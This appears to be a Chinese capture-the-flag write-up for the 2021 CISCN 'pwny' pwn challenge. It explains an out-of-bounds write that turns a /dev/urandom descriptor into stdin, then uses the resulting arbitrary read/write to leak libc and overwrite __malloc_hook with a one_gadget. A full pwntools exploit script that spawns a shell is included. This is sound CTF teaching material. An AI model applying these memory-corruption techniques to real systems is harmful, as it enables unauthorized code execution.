0%

2021_ciscn_pwn初赛

pwny

文件下载

文件 libc
附件 libc

0.检查保护

1
2
3
4
5
6
7
8
9
10
winter@ubuntu:~/ciscn$ file pwny 
pwny: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a14a51d7799ec9c936f0c8096c737470a079001b, stripped
winter@ubuntu:~/ciscn$ checksec pwny
[*] '/home/winter/ciscn/pwny'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

64位程序,保护全开。

1.程序流程

init

最开始有一个函数,进行初始化操作setvbuf,并且打开一个文件设备’/dev/urandom’,并且将文件描述符存储在了bss上0x202860的位置。

image-20210609103625666

fun_write函数

image-20210609103827543

  1. 请求输入偏移
  2. 偏移存储在v0中
  3. 从文件描述符0x202860中读取数据,存储到v2中
  4. 将v2的值赋值给(0x202060+偏移)的地址

fun_read函数

image-20210609104021390

与fun_write函数类似,只不过最后的赋值变成了,打印(0x202060+偏移)的内容。

2.漏洞利用

函数fun_read和fun_write,都有函数

1
read(byte_202860,&v2,8)

很显然,需要将byte_202860修改为常用0 => 控制v2 => 根据整数溢出,fun_write获得任意地址写,fun_read获得任意地址读。

byte_202860 = 0

看fun_write函数:

首先,byte_202860qword_202060下面100字节处,所以,只要输入的idx为0x100,那么就可以修改byte_202860的值。

其次,由于v2的值是从/dev/urandom里面读取的,所以第一次修改byte_202860为一个随机值。

但是,如果再来一次,由于上次byte_202860被修改为一个随机值,此时找不到对应的文件描述符,那么,取出来的数都为0,则,v2的值为0,可以再次修改byte_202860的值为0,则成功修改byte_202860为0。

1
2
3
read((unsigned __int8)byte_202860, &v2, 8uLL);
=>
read(0, &v2, 8uLL);

v2的值可以控制,那么就控制了bss上的数据,可以读可以写。

步骤

  • 修改byte_202860=0
  • 读bss上stderr 的地址,泄露libc
  • 读data上off_202008,泄露程序基地址
  • 修改malloc_hook为one_gadget【需要realloc调整栈帧】
  • scanf的时候,读入一个很大的数【‘1’*0x400(格式化参数是ld,要数字才能读入)】,会进行一次malloc
  • getshell

3.完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
# p = process("./pwny")
# ld_path = "/usr/local/glibc-2.27/lib/ld-2.27.so"
# libc_path = "/usr/local/glibc-2.27/lib/libc-2.27.so"
file = "./pwny"
# p = process([ld_path, file],
# env={"LD_PRELOAD":libc_path})
libc_path = "./libc-2.27.so"
p = process(file,
env={"LD_PRELOAD":libc_path})
libc = ELF(libc_path)
context.log_level = 'debug'

def cmd(choice):
p.recvuntil("Your choice: ")
p.sendline(str(choice))

def fun_read(index):
cmd(1)
p.recvuntil("Index: ")
p.sendline(index)

def fun_write(index):
cmd(2)
p.recvuntil("Index: ")
p.sendline(str(index))

fun_write(0x100)
fun_write(0x100)

fun_read(p64(0xfffffffffffffffc))
p.recvuntil("Result: ")
_IO_2_1_stderr_ = int(p.recv(12).strip(),16)
log.success("_IO_2_1_stderr_:"+hex(_IO_2_1_stderr_))
libc_base = _IO_2_1_stderr_ - libc.sym['_IO_2_1_stderr_']
log.success("libc_base:"+hex(libc_base))

fun_read(p64(0xFFFFFFFFFFFFFFF5))
p.recvuntil("Result: ")
data = int(p.recv(12).strip(),16)
log.success("data:"+hex(data))
pro_base = data -0x202008
log.success("pro_base:"+hex(pro_base))

# gadget = [0x415e6,0x4163a,0xdfac1]
gadget = [0x4f3d5,0x4f432,0x10a41c]
one_gadget = libc_base + gadget[1]
log.success("one_gadget:"+hex(one_gadget))

malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
offset = (malloc_hook - (pro_base + 0x202060)) / 8

fun_write(offset)
p.sendline(p64(realloc+4))

#realloc
fun_write(offset-1)
p.sendline(p64(one_gadget))
# gdb.attach(p)
cmd('1'*0x400)
p.interactive()

lonelywolf

注意:

  1. 本次给的libc是新版的libc
  2. 旧版libc没有检查tcache的double free
  3. 新版有了

2.27堆保护和2.31一样 => 用2.31做 => 换2.29的libc

Q:如果阅读本文需要付费,你是否愿意为此支付1元?